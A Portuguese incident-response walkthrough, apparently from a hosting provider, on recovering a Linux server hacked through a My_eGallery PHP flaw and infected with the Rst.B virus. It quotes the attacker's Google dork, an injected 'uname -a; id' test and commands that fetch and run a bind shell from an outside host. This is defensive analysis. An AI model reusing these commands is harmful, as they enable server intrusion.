Aqui está um exemplo preciso de uma máquina MaquinaSemiHackada com um vírus instalado mas ainda recuperável sem reinstalação completa.



Visivelmente, o hacker explorou uma falha nos scripts e pode ter tido um acesso shell sobre a máquina. Depois, pode ter carregado, compilado e executado diferentes programas. Notamos a utilização dos nomes como httpd que é geralmente um servidor apache. Uma pessoa sem experiência, pensará que se trata simplesmente de um servidor web o que não é o caso.
O hacker pode ter visto também:



O cliente colocou o último kernel actualmente disponível e sem bug de segurança. Podemos então pensar que o hacker não pode ter tido acesso em root sobre a máquina. Vamos fazer algumas verificações:



Reparamos que o processo rh escuta o porto 3049. Uma pessoa experiente apercebe-se que se trata de um vírus. Mas como o processo está em nobody, estamos seguros que o vírus não se instalou (ainda). Agora deve ser externamente prudente. Uma manipulação errada pode levar à instalação do vírus em root e neste momento a única solução seria reinstalar a máquina. Primeiro vamos confirmar que se trata realmente de um vírus. Vamos fazer o download de um antivírus e fazer um scan dos directórios.



Vamos fazer de forma a que o vírus não possa modificar o antivírus.




Agora, vamos fazer o scan:




Trata-se então de Rst.B :
www.sophos.fr/virusinfo/analyses/linuxrstb.html
www.computeruser.com/news/02/01/08/news1.html

O que não deve sobretudo fazer é de o executar. Porquê? Actualmente o vírus é executado em nobody ou seja um utilizador que não pode realizar muita coisa sobre a máquina. Eu, estando ligado em root, se o executo, irei-lhe dar o direito de root alias super utilizador e neste momento, o vírus tendo as permissoes sobre o disco, vai infectar os ficheiros de sistemas (que pertence ao root).

O que fazemos então? Apagamos-o.




Olha, um ficheiro bash do shell. Vamos então ver o que o hacker marcou:



Notámos a criação de um directorio "" (com um espaço) que enganaria uma pessoa não experiente, que não o notaria. Notámos que o hacker instalou um bounce IRC o qual irá utilizar um dia para se ligar de uma maquina a outra. Isto iria-lhe permitir de nunca dar o verdadeiro IP de ligação e então nunca seria encontrado.

Agora vamos matar os processos:




Verificamos que o hacker não instalou um ficheiro crontab:




Perfeito. A máquina está novamente clean. Mas o hacker pode explorar de novo a falha sobre os scripts php e voltar sobre a máquina. Devemos então encontrar o ficheiro php que não é seguro.



Vamos então procurar os pedidos GET sobre os scripts php onde passamos os parâmetros. Depois, por experiência, pensamos que o hacker utilizou wget para fazer o download do executável.




Bingo. Vamos agora ver o que ele fez ainda.




Vemos então:
Ele foi ao Google e procurou os sites que instalaram My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site. Primeiro tentou ver se o script tinha uma falha ou não tentado executar uname -a; id. Visivelmente, funcionou. Ele fez então o download de uma shell contaminado com um virus e gravou-a no directorio /tmp wget 20streez.org/bindtty -O /tmp/bindtty, deu a autorização de execução a este script:
chmod 777 /tmp/bindtty
Depois executou-o:
/tmp/./bindtty

O que lhe permitiu arrancar um sheel e ter acesso sobre a máquina em nobody. Isto tudo em 1 minuto 23 segundos !!

Vamos então bloquear este directório:





O hacker ligou-se a partir do ip 202.133.101.83



Um IP na Malásia, um assinante ADSL provavelmente hackado. Nenhuma queixa poderá ser recebida pela polícia.

No dmesg da máquina podemos ver o seguinte:



O hacker quiz executar um soft alina, pravalvelmente um scan de rede. Felizmente, o kernel GRS detectou-o e matou este processo. Depois o hacker tentou outros scans das redes. O scan foi tão violento que a ligação rj45 foi abaixo durante alguns segundos :



Como a rede foi abaixo, não vemos nenhum ataque sobre MRTG. Notamos que o IP de ligação mudou:



Um IP da Roménia. Provavelmente hackeado.



Ainda da Roménia.



E Roménia.

Escreveremos um mail aos admins das redes que gerem estes IPs afim que eles verifiquem a sua rede. Nunca teremos uma resposta e não saberemos se foi feito ou não. Conclusão: actualize as suas máquinas e verifique o que se passa nela. O hack é simples e rápido. E o hacker não é encontrado.